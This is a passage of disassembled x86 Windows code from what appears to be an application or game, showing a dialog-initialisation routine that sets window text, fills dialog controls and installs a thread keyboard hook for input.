setne al
mov byte [esp + 0x38], al
xor eax, eax
mov al, byte [esp + 0x38]
add ax, 0x155
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
push 0
mov eax, dword [0x4be8b8]
mov eax, dword [eax + 0xc]
push eax
push 0x30
push 0x64
mov eax, dword [ebp]
push eax
call sub.user32.dll_SendDlgItemMessageA
mov edi, 1
mov eax, edi
add ax, 0xaf
dec eax
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4c2488]
call fcn.00486854
inc edi
cmp edi, 0xf
jne 0x491072
mov edx, 0x49495c
mov eax, dword [0x4c2488]
call fcn.00486854
mov edx, 0x494970
mov eax, dword [0x4c2488]
call fcn.00486854
mov edx, 0x494984
mov eax, dword [0x4c2488]
call fcn.00486854
mov edx, 0x494990
mov eax, dword [0x4c2488]
call fcn.00486854
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x18b1]
call fcn.004868e8
mov ax, 0x26d
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x12c
call fcn.00488934
mov eax, ebp
mov cl, 1
mov dx, 0x12c
call fcn.004949d8
mov eax, dword [0x4bec74]
cmp dword [eax], 1
jle 0x49112e
mov eax, ebp
mov cl, 1
mov dx, 0x12c
call fcn.00489a04
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18eb]
mov eax, ebp
mov cx, 0x12c
call fcn.00488920
cmp byte [ebp + 0x54], 0x30
jne 0x49122f
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18d8]
mov eax, ebp
mov cx, 0xb
call fcn.00488920
mov eax, dword [0x4be6b0]
xor edx, edx
mov dword [eax], edx
mov ax, 6
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 2
call fcn.00488934
mov ax, 0xa
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 3
call fcn.00488934
mov ax, 0x287
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov ax, 0x288
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xb
call fcn.00488934
mov ax, 0x289
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 1
call fcn.00488934
mov ax, 0x28a
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 4
call fcn.00488934
mov ax, 0x28b
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 5
call fcn.00488934
mov eax, ebp
call fcn.0048cbd0
mov eax, ebp
call fcn.00488f54
mov edx, dword [0x4be784]
movsx edx, word [edx + 0x1838]
mov eax, dword [ebp + 0x1c]
dec eax
call fcn.004aa570
mov edx, dword [0x4be784]
mov word [edx + 0x1838], ax
mov eax, dword [0x4be784]
movsx eax, word [eax + 0x1838]
mov dword [ebp + 0x18], eax
cmp byte [ebp + 0x54], 0x47
jne 0x49136a
mov eax, ebp
xor ecx, ecx
mov dx, 2
call fcn.004949d8
mov eax, ebp
xor ecx, ecx
mov dx, 5
call fcn.004949d8
mov ecx, dword [0x4be454]
mov eax, ebp
mov dx, 1
call fcn.00488934
mov ax, 5
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 2
call fcn.00488934
mov ax, 6
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 3
call fcn.00488934
mov ax, 8
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 4
call fcn.00488934
cmp byte [0x4c24d0], 0
jne 0x4912c6
mov ax, 0x2cc
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
jmp 0x4912f0
xor eax, eax
mov al, byte [0x4c24d0]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
mov ax, 0xab
call fcn.004aa600
call fcn.004ae0e4
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov eax, ebp
call fcn.0048cd24
mov eax, ebp
call fcn.004894ac
or ebx, 0xffffffff
inc ebx
movsx eax, bx
cmp eax, dword [ebp + 0x1c]
jge 0x49132f
mov eax, ebp
mov edx, ebx
call fcn.00487178
movsx eax, ax
mov edx, dword [0x4bec7c]
cmp eax, dword [edx]
jne 0x491310
movsx eax, bx
cmp eax, dword [ebp + 0x1c]
jge 0x49133f
movsx eax, bx
mov dword [ebp + 0x18], eax
jmp 0x491346
mov dword [ebp + 0x18], 0xffffffff
cmp dword [ebp + 0x18], 0xffffffff
setg cl
mov eax, ebp
mov dx, 3
call fcn.00489a04
cmp dword [ebp + 0x18], 0xffffffff
setg cl
mov eax, ebp
mov dx, 4
call fcn.00489a04
cmp byte [ebp + 0x54], 0x2f
jne 0x491377
mov eax, ebp
call fcn.0048b614
cmp byte [ebp + 0x54], 0x42
jne 0x49142f
mov eax, ebp
call fcn.0048c4c8
mov eax, dword [0x4be744]
cmp dword [eax], 0
jle 0x49139d
mov eax, dword [0x4c2484]
cmp dword [eax + 4], 0
jg 0x4913a1
xor ecx, ecx
jmp 0x4913a3
mov cl, 1
mov eax, ebp
mov dx, 1
call fcn.00489a04
mov ax, 0x372
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xb
call fcn.00488934
mov eax, dword [0x4c2484]
mov dl, byte [eax + 0xd]
mov eax, ebp
mov cx, 0xb
call fcn.00488920
mov ax, 0x375
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xd
call fcn.00488934
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1986]
mov eax, ebp
mov cx, 0xd
call fcn.00488920
mov eax, dword [0x4c2484]
cmp dword [eax + 4], 0x3e7
jg 0x491420
mov eax, ebp
mov edx, 1
call fcn.00488c6c
jmp 0x49142f
push 0
push 0x64
push 1
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetTimer
cmp byte [ebp + 0x54], 3
je 0x49143f
cmp byte [ebp + 0x54], 5
jne 0x49156f
mov ax, 8
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 1
call fcn.00488934
mov ax, 6
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 2
call fcn.00488934
mov ax, 0x27e
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 4
call fcn.00488934
push 0x64
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
mov ebx, eax
cmp byte [ebp + 0x54], 3
jne 0x4914fe
mov eax, ebx
call fcn.0048e288
test al, al
je 0x4948d1
push 0
push 0
push 0xb1
push ebx
call sub.user32.dll_SendMessageA
mov ax, 0x235
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
push 0x49499c
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4bec94]
call fcn.004aed10
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
jmp 0x491539
mov eax, dword [0x4bec94]
mov byte [eax], 0
mov ecx, dword [0x4be954]
mov eax, ebp
mov dx, 0x64
call fcn.00488934
push 0xa
push 0xa
push 0xb1
push ebx
call sub.user32.dll_SendMessageA
mov ax, 0x235
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
push 0
mov eax, dword [0x4be8b8]
mov eax, dword [eax]
push eax
push 0x30
push ebx
call sub.user32.dll_SendMessageA
mov eax, dword [0x4be6b0]
mov dword [eax], 0xc
mov eax, dword [0x4be6b0]
push eax
push 1
push 0xcb
push ebx
call sub.user32.dll_SendMessageA
push ebx
call sub.user32.dll_SetFocus
cmp byte [ebp + 0x54], 3
je 0x4915a5
cmp byte [ebp + 0x54], 5
je 0x4915a5
cmp byte [ebp + 0x54], 0x12
je 0x4915a5
cmp byte [ebp + 0x54], 0x51
je 0x4915a5
cmp byte [ebp + 0x54], 0x37
je 0x4915a5
cmp byte [ebp + 0x54], 0x58
je 0x4915a5
cmp byte [ebp + 0x54], 0x57
je 0x4915a5
cmp byte [ebp + 0x54], 0x45
je 0x4915a5
cmp byte [ebp + 0x54], 0x34
jne 0x4915ca
mov eax, dword [0x4beb60]
mov eax, dword [eax]
call fcn.0040678c
push eax
mov eax, dword [0x4bf704]
push eax
mov eax, 0x48e5d4
push eax
push 2
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4c24b4], eax
cmp byte [ebp + 0x54], 2
jne 0x491623
mov eax, ebp
mov dl, 1
call fcn.0048c3e8
xor edx, edx
xor eax, eax
call fcn.0048c25c
push 0xd
mov eax, dword [0x4be9f0]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, dword [0x4c24e8]
call fcn.0040ff7c
mov dword [0x4c24a4], eax
mov eax, dword [ebp + 4]
mov ecx, 1
mov edx, dword [0x4c24e8]
call fcn.0040ffb8
mov eax, ebp
call fcn.0048c888
mov eax, ebp
call fcn.0048c964
cmp byte [ebp + 0x54], 0xf
je 0x491633
cmp byte [ebp + 0x54], 0x10
jne 0x4916bd
xor edx, edx
mov eax, 0xa8
call fcn.004862ec
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
cmp byte [ebp + 0x54], 0xf
jne 0x491683
mov ax, 0x318
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov ecx, dword [0x4be784]
add ecx, 0x859
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
jmp 0x4916bd
mov ax, 0x319
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov eax, dword [0x4be784]
fild dword [eax + 0x16f4]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
cmp byte [ebp + 0x54], 0x26
jne 0x491733
mov ax, 0x1a0
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov ax, 0x9b
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
mov eax, dword [eax + 0x160]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
cmp byte [ebp + 0x54], 0x25
je 0x49173f
cmp byte [ebp + 0x54], 0x26
jne 0x49175a
xor edx, edx
mov eax, 0x7e
call fcn.004862ec
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
cmp byte [ebp + 0x54], 0x25
jne 0x4918c7
mov eax, ebp
mov cx, 0xc8
mov dl, 1
call fcn.00488920
mov eax, ebp
xor ecx, ecx
mov dx, 0x64
call fcn.00489a04
mov eax, dword [0x4be55c]
movsx eax, byte [eax]
mov edx, dword [0x4be408]
mov eax, dword [edx + eax*4 + 0xa8]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x14
call fcn.00488934
mov eax, dword [0x4be55c]
movsx eax, byte [eax]
mov edx, eax
shl eax, 3
sub eax, edx
mov edx, dword [0x4bec00]
lea eax, [edx + eax*2 + 0x24c]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x3c]
movzx eax, word [eax]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x15
call fcn.00488934
mov eax, dword [esp + 0x3c]
movzx eax, word [eax + 2]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x16
call fcn.00488934
mov eax, dword [esp + 0x3c]
movzx eax, word [eax + 4]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x17
call fcn.00488934
mov ax, 0x2ca
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xa
call fcn.00488934
mov ax, 0x1b3
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xb
call fcn.00488934
mov ax, 0x1b5
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xc
call fcn.00488934
mov ax, 0x1b7
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xd
call fcn.00488934
cmp byte [ebp + 0x54], 0x24
jne 0x491be4
mov eax, dword [0x4bebc8]
mov byte [eax], 1
mov eax, dword [0x4be784]
mov eax, dword [eax + 0x1778]
mov edx, dword [0x4be794]
cmp eax, dword [edx]
jbe 0x491901
mov eax, dword [0x4be794]
mov eax, dword [eax]
mov edx, dword [0x4be784]
mov dword [edx + 0x1778], eax
mov eax, dword [0x4be784]
mov eax, dword [eax + 0x1778]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0xd0
call fcn.00488934
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
cmp byte [eax + 0x442], 0
jle 0x491a3e
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
movsx eax, byte [eax + 0x442]
mov edx, dword [0x4be4fc]
movsx eax, byte [edx + eax - 1]
mov edx, dword [0x4be6b0]
mov dword [edx], eax
mov eax, dword [0x4be6b0]
cmp dword [eax], 1
je 0x4919b1
mov eax, dword [0x4be6b0]
cmp dword [eax], 2
je 0x4919b1
mov eax, dword [0x4be6b0]
cmp dword [eax], 3
je 0x4919b1
mov eax, dword [0x4be6b0]
cmp dword [eax], 0xffffffff
jne 0x491a3e
mov eax, ebp
mov cl, 1
mov dx, 0xd1
call fcn.004949d8
mov eax, ebp
mov cl, 1
mov dx, 0xd2
call fcn.004949d8
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
lea edx, [eax + 0x15c]
mov eax, dword [0x4be784]
mov eax, dword [eax + 0x1778]
call fcn.004a2578
mov edx, dword [0x4be6b0]
mov dword [edx], eax
mov eax, dword [0x4be6b0]
cmp dword [eax], 0xffffffff
jne 0x491a16
mov ecx, 0x4949a0
mov eax, ebp
mov dx, 0xd1
call fcn.00488934
jmp 0x491a36
mov eax, dword [0x4be6b0]
fild dword [eax]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0xd1
call fcn.00488934
mov eax, dword [0x4bebc8]
mov byte [eax], 0
mov eax, dword [0x4be55c]
cmp byte [eax], 0
jle 0x491a67
mov eax, ebp
xor ecx, ecx
mov dx, 0xc8
call fcn.00489a04
mov eax, ebp
mov cx, 0x64
mov dl, 1
call fcn.00488920
jmp 0x491b2b
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x18c6]
inc eax
imul cx, ax, 0x64
mov eax, ebp
mov dl, 1
call fcn.00488920
lea eax, [esp + 0x1e]
push eax
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22]
mov edx, dword [0x4be784]
mov edx, dword [edx + 0x1778]
mov eax, dword [0x4be55c]
mov al, byte [eax]
call fcn.004b238c
movzx eax, word [esp + 0x1a]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0xc9
call fcn.00488934
movzx eax, word [esp + 0x1e]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0xca
call fcn.00488934
movzx eax, word [esp + 0x1c]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0xcb
call fcn.00488934
mov bl, 0xc9
mov eax, ebp
mov dx, 0xc8
call fcn.00497994
mov ecx, eax
xor edx, edx
mov dl, bl
mov eax, ebp
call fcn.00489a04
inc ebx
cmp bl, 0xcf
jne 0x491b2d
xor ebx, ebx
mov eax, ebp
mov dx, 0x64
call fcn.00497994
mov ecx, eax
xor edx, edx
mov dl, bl
add dx, 0xcf
mov eax, ebp
call fcn.00489a04
inc ebx
cmp bl, 4
jne 0x491b4d
xor ebx, ebx
mov eax, ebp
mov dx, 0x64
call fcn.00497994
mov ecx, eax
xor edx, edx
mov dl, bl
add dx, 0xd0
mov eax, ebp
call fcn.00489a04
inc ebx
cmp bl, 2
jne 0x491b72
mov eax, ebp
mov dx, 0x64
call fcn.00497994
and eax, 0x7f
mov edx, eax
shl eax, 3
sub eax, edx
add eax, 0xc9
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
mov edx, dword [0x4be6b0]
mov dword [edx], eax
mov eax, dword [0x4be6b0]
mov eax, dword [eax]
push eax
call sub.user32.dll_SetFocus
push 0xffffffffffffffff
push 0
push 0xb1
mov eax, dword [0x4be6b0]
mov eax, dword [eax]
push eax
call sub.user32.dll_SendMessageA
cmp byte [ebp + 0x54], 0x28
jne 0x491c8f
mov ax, 0x26f
call fcn.004aa600
push eax
mov ax, 0x331
call fcn.004aa600
pop edx
call fcn.004ae1b0
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov ax, 0x270
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xc8
call fcn.00488934
mov eax, dword [0x4be784]
mov eax, dword [eax + 0x1770]
mov edx, dword [0x4be794]
cmp eax, dword [edx]
jbe 0x491c54
mov eax, dword [0x4be794]
mov eax, dword [eax]
mov edx, dword [0x4be784]
mov dword [edx + 0x1770], eax
mov eax, dword [0x4be784]
mov eax, dword [eax + 0x1770]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0xd0
call fcn.00488934
cmp byte [ebp + 0x54], 0x27
jne 0x491da6
xor edx, edx
mov eax, 0xb3
call fcn.004862ec
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
movsx eax, byte [eax + 0x442]
mov edx, dword [0x4be4fc]
cmp byte [edx + eax - 1], 0xff
jne 0x491d35
mov eax, dword [0x4be784]
fild dword [eax + 0x17c0]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0xd0
call fcn.00488934
mov ax, 0x332
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
push 0x4949a4
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0xc8
call fcn.00488934
jmp 0x491da6
mov eax, dword [0x4be784]
mov eax, dword [eax + 0x16f8]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0xd0
call fcn.00488934
mov ax, 0x343
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
push 0x4949a4
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0xc8
call fcn.00488934
cmp byte [ebp + 0x54], 0x1f
jne 0x491e0c
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x18be]
add ax, 0x10
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xd0
call fcn.00488934
mov eax, dword [0x4be784]
push dword [eax + 0x16e8]
push dword [eax + 0x16e4]
call fcn.004af438
mov ecx, eax
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
mov ecx, dword [0x4be784]
movzx ecx, byte [ecx + 0x1896]
add cx, 0x12d
mov eax, ebp
mov dl, 1
call fcn.00488920
cmp byte [ebp + 0x54], 0x1e
jne 0x4920be
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
mov eax, dword [eax + 0xc]
cmp dword [eax + 0x5c], 0
je 0x491e3e
mov eax, dword [0x4be784]
cmp byte [eax + 0x18e5], 0
jne 0x491e42
xor eax, eax
jmp 0x491e44
mov al, 1
mov byte [esp + 0x39], al
mov eax, dword [0x4be784]
mov al, byte [eax + 0x18be]
or al, byte [esp + 0x39]
and eax, 0x7f
add ax, 0x10
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xd0
call fcn.00488934
mov eax, dword [0x4be784]
push dword [eax + 0x1700]
push dword [eax + 0x16fc]
call fcn.004af438
mov ecx, eax
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
mov bl, 9
mov esi, dword [0x4be784]
add esi, 0x1724
fild qword [esi]
fcomp dword [0x4948f8]
fnstsw ax
sahf
jbe 0x491ec2
push dword [esi + 4]
push dword [esi]
call fcn.004af438
mov edx, eax
mov eax, dword [ebp + 0x48]
call fcn.00486854
add esi, 8
dec bl
jne 0x491ea1
cmp byte [esp + 0x39], 0
je 0x491ee9
mov eax, dword [0x4be784]
mov byte [eax + 0x1894], 1
mov eax, ebp
xor ecx, ecx
mov dx, 4
call fcn.00489a04
mov eax, dword [0x4be784]
cmp byte [eax + 0x1894], 5
jne 0x491f3d
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
mov eax, dword [eax + 0xc]
cmp byte [eax + 0xa3], 0
jne 0x491f3d
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
mov eax, dword [eax + 0xc]
cmp byte [eax + 0xa4], 0
jne 0x491f3d
mov eax, dword [0x4be784]
mov byte [eax + 0x1894], 1
mov eax, dword [0x4be784]
cmp byte [eax + 0x1894], 6
jne 0x491f71
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
cmp byte [eax + 0x442], 0
jne 0x491f71
mov eax, dword [0x4be784]
mov byte [eax + 0x1894], 1
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x1894]
mov ecx, dword [eax*4 + 0x4bdc98]
mov eax, ebp
mov dx, 4
call fcn.00488934
mov eax, dword [0x4be784]
cmp byte [eax + 0x188c], 1
jne 0x491fcd
mov edi, 0x12c
mov esi, 0x4bdcb4
mov eax, ebp
mov ecx, dword [esi]
mov edx, edi
call fcn.00488934
inc edi
add esi, 4
cmp edi, 0x132
jne 0x491fa7
mov eax, dword [0x4bdccc]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
cmp byte [esp + 0x39], 0
je 0x4920a3
mov edi, 1
mov edx, edi
add dx, 0x12c
mov eax, ebp
xor ecx, ecx
call fcn.00489a04
inc edi
cmp edi, 4
jne 0x491fdd
mov eax, ebp
mov cx, 0x12c
mov dl, 1
call fcn.00488920
mov eax, ebp
xor ecx, ecx
mov dx, 0x30a
call fcn.004949d8
mov eax, ebp
mov cl, 1
mov dx, 0x30b
call fcn.004949d8
mov eax, dword [0x4be784]
push dword [eax + 0x1700]
push dword [eax + 0x16fc]
call fcn.004af008
mov edx, dword [0x4bec7c]
mov edx, dword [edx]
mov ecx, dword [0x4be754]
mov edx, dword [ecx + edx*4 - 4]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x5c]
call fcn.0041606c
mov edx, dword [0x4be6b0]
mov dword [edx], eax
mov eax, dword [0x4be6b0]
fild dword [eax]
add esp, 0xfffffff8
fistp qword [esp]
wait
mov dl, 8
xor eax, eax
call fcn.004af0b0
mov ecx, eax
mov eax, ebp
mov dx, 0x30b
call fcn.00488934
mov ax, 0x111
call fcn.004aa600
push eax
mov ax, 0x331
call fcn.004aa600
pop edx
call fcn.004ae1b0
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
jmp 0x4920be
mov ecx, dword [0x4be784]
movzx ecx, byte [ecx + 0x1895]
add cx, 0x12c
mov eax, ebp
mov dl, 1
call fcn.00488920
cmp byte [ebp + 0x54], 0x38
je 0x4920ce
cmp byte [ebp + 0x54], 0x46
jne 0x492180
mov bl, 1
mov eax, ebx
call fcn.0048b898
mov ecx, eax
xor edx, edx
mov dl, bl
add dx, 0x64
mov eax, ebp
call fcn.00488934
inc ebx
cmp bl, 9
jne 0x4920d0
cmp byte [ebp + 0x54], 0x38
jne 0x492139
mov ecx, dword [0x4be784]
movzx ecx, byte [ecx + 0x18b0]
add cx, 0x64
mov eax, ebp
mov dl, 1
call fcn.00488920
mov ax, 9
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 3
call fcn.00488934
mov ax, 0x26e
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
jmp 0x492180
mov ax, 0x95
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov ecx, dword [0x4be784]
movzx ecx, byte [ecx + 0x18a2]
add cx, 0x64
mov eax, ebp
mov dl, 1
call fcn.00488920
mov eax, ebp
xor ecx, ecx
mov dx, 0x69
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0x6a
call fcn.00489a04
cmp byte [ebp + 0x54], 0x48
jne 0x492302
mov bl, 1
mov esi, dword [0x4be784]
add esi, 0x1910
cmp bl, 0xa
jae 0x4921b5
mov eax, ebx
call fcn.0048b898
mov ecx, eax
xor edx, edx
mov dl, bl
add dx, 0x64
mov eax, ebp
call fcn.00488934
xor ecx, ecx
mov cl, bl
add cx, 0x64
mov eax, ebp
mov dl, byte [esi]
call fcn.00488920
inc ebx
inc esi
cmp bl, 0x1c
jne 0x492198
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18ef]
mov eax, ebp
mov cx, 0x63
call fcn.00488920
mov ecx, dword [0x4be784]
mov cl, byte [ecx + 0x1926]
mov eax, ebp
mov dx, 0x63
call fcn.00489a04
mov edx, dword [0x4be784]
mov dl, byte [edx + 0xa3c]
mov eax, ebp
mov cx, 0x62
call fcn.00488920
mov ax, 0x28d
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov ax, 0x28e
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x6e
call fcn.00488934
mov ax, 0x28f
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x63
call fcn.00488934
mov ax, 0x348
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x62
call fcn.00488934
mov ax, 0x1fa
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x73
call fcn.00488934
mov eax, dword [0x4be784]
movsx eax, byte [eax + 0x187c]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
mov al, 2
call fcn.004b850c
mov ecx, eax
mov eax, ebp
mov dx, 0x75
call fcn.00488934
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1889]
mov eax, ebp
mov cx, 0x64
call fcn.00488920
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x1887]
push eax
push 0x77
mov eax, dword [ebp]
push eax
call sub.user32.dll_CheckDlgButton
mov eax, dword [0x4be784]
mov al, byte [eax + 0x1887]
call fcn.004b1420
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0x77
call fcn.00488934
cmp byte [ebp + 0x54], 0x2e
jne 0x4924f1
mov eax, dword [0x4be744]
cmp dword [eax], 3
jge 0x49233c
mov eax, dword [0x4be7ec]
cmp byte [eax], 0
jne 0x49233c
mov eax, dword [0x4be7ec]
cmp byte [eax + 1], 0
jne 0x49233c
mov eax, dword [0x4be7ec]
mov byte [eax], 1
mov eax, dword [0x4be7ec]
mov byte [eax + 1], 2
mov edi, 1
mov esi, dword [0x4be7ec]
cmp byte [esi], 0
je 0x49235f
movsx eax, byte [esi]
mov edx, dword [0x4be754]
cmp dword [edx + eax*4 - 4], 0
jne 0x49235f
mov byte [esi], 0
cmp byte [esi], 0
je 0x492384
movsx eax, byte [esi]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
mov edx, edi
add dx, 0x64
mov eax, ebp
